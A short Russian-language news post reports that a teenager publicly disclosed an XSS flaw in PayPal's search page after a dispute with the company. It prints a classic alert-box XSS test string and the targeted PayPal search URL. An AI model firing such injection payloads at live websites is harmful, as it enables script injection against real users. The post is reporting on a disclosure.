Подросток обиделся на PayPal и опубликовал найденную им XSS уязвимость

Уязвимость обнаружена в функции поиска и может быть запущена следующим JavaScript-кодом:

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- </SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

https://www.paypal.com/de/cgi-bin/searchscr?cmd=_sitewide-search



Я не хочу утверждать, что PayPal экономит на безопасности, но такое поведение - не лучший способ мотивировать заинтересованных исследователей в области безопасности.